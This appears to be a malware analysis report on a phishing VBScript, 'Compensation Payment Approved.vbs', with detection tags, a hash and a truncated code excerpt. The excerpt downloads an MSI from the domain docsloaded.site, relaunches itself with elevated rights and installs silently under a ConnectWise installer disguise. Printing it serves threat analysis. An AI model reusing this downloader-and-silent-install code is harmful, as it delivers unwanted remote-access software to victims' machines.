Compensation Payment Approved.vbs
SmartScreen bypass, hidden execution, suspicious domain
ADODB.Stream ProgIDADODB.Stream SaveToFile method call
SHA-256466e5b6a54849b08146858d4989c18757f479e4fee7414f79c57cca1fc4908d3
Evidence
⋯12 lines
13Const SKIP_IF_INSTALLED = False
14Const KEEP_MSI = False
15Const SHOW_ON_EXIT = False ' Set to False for 100% silent operation
16
17Dim objShell, objFSO, strBase, strMSI, strLog, strMsiLog, strPS1
18Dim strURL, strThumb, strSha, strRoots, strProps
19Dim bIsAdmin, iRet, f, objAppShell, strRun, strScriptPath, bElevated, strStamp
20
21Set objShell = CreateObject("WScript.Shell")
22Set objFSO = CreateObject("Scripting.FileSystemObject")
23
24strURL = "https://docsloaded.site/JD/clientsetup.msi"
25strThumb = "" ' Optional: registry DisplayIcon path to match
26strSha = "" ' Optional: lowerc …
28:32… 32Node\Microsoft\Windows\CurrentVersion\Uninstall\"
29strProps = "/qn /norestart"
30
31' ---------- Temp paths (unique per run) ----------
32strBase = objShell.ExpandEnvironmentStrings("%TEMP%")
33If Right(strBase, 1) <> "\" Then strBase = strBase & "\"
34
35strStamp = CStr(Year(Now)) & Right("0" & CStr(Month(Now)), 2) …
43:8… = strBase & "cwsilent_" & strStamp & ".ps1"
44strScriptPath = WScript.ScriptFullName
45
46' ============================================================
47' Main
48' ================================================= …
51:12… : " & strMSI
52
53' ---------- Elevation ----------
54bElevated = WScript.Arguments.Named.Exists("elevated")
55bIsAdmin = IsAdmin()
56LogMsg "IsAdmin=" & bIsAdmin & " elevated-arg=" & bElevated
57
58If Not bIsAdmi …
61:67… ncelled.", 16, "ConnectWise Installer"
62 WScript.Quit 1
63 End If
64 LogMsg "Relaunching elevated..."
65 Set objAppShell = CreateObject("Shell.Application")
66 objAppShell.ShellExecute "wscript.exe", """" & strScriptPath & """ /elevated", "", "runas", 1
67 WScript.Quit 0
68End If
69
70' ---------- Optional skip check ----------
71If SKIP_IF_INSTALLED And Len(strThumb) > 0 Then
72 If IsAlreadyInstalled(strRoots, strThumb) Then
73 LogMsg "Alr …